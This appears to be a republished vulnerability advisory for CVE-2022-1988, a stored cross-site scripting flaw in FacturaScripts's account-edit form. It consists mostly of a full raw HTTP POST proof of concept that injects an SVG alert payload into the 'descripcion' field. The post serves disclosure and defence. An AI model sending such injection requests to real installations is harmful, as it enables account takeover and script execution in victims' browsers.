CVE-2022-1988 – Cross-site Scripting (XSS) – Generic in GitHub repository neorazorx/facturascripts prior to 2022.09.

Source:

/facturascripts/EditCuenta can input the taint data without sanitization by the parameter description

Proof:

POST /facturascripts/EditCuenta HTTP/1.1
Host: 127.0.0.1
Content-Length: 1115
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryC3PsaVY6IXCuAiJ3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/facturascripts/EditCuenta
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: fsNick=admin; fsLogkey=0nGxMWOPcjDBhfLTSgRrqop2Z3CdY4IlaEtV79A5Kiw6bsuQ8kXJFzHmNv1yUe; fsLang=en_EN; fsCompany=1
Connection: close

------WebKitFormBoundaryC3PsaVY6IXCuAiJ3
Content-Disposition: form-data; name="action"

insert
------WebKitFormBoundaryC3PsaVY6IXCuAiJ3
Content-Disposition: form-data; name="activetab"

EditCuenta
------WebKitFormBoundaryC3PsaVY6IXCuAiJ3
Content-Disposition: form-data; name="code"


------WebKitFormBoundaryC3PsaVY6IXCuAiJ3
Content-Disposition: form-data; name="multireqtoken"

bdea08c4a3c0a1594bd59cf5d924df90c26a7ce9|PdlZXL
------WebKitFormBoundaryC3PsaVY6IXCuAiJ3
Content-Disposition: form-data; name="idcuenta"


------WebKitFormBoundaryC3PsaVY6IXCuAiJ3
Content-Disposition: form-data; name="codcuenta"

xss
------WebKitFormBoundaryC3PsaVY6IXCuAiJ3
Content-Disposition: form-data; name="descripcion"

'"><svg/onlad='alert(123);'/><'"
------WebKitFormBoundaryC3PsaVY6IXCuAiJ3
Content-Disposition: form-data; name="parent_idcuenta"


------WebKitFormBoundaryC3PsaVY6IXCuAiJ3
Content-Disposition: form-data; name="codejercicio"

2022
------WebKitFormBoundaryC3PsaVY6IXCuAiJ3
Content-Disposition: form-data; name="codcuentaesp"


------WebKitFormBoundaryC3PsaVY6IXCuAiJ3--

This vulnerability has the potential to deface websites, result in compromised user accounts, and can run malicious code on web pages, which can lead to a compromise of the user’s device.

Reference: https://huntr.dev/bounties/7882a35a-b27e-4d7e-9fcc-e9e009d0b01c/

Comments

Leave a Reply

Your email address will not be published.

Sign In

Register

Reset Password

Please enter your username or email address, you will receive a link to create a new password via email.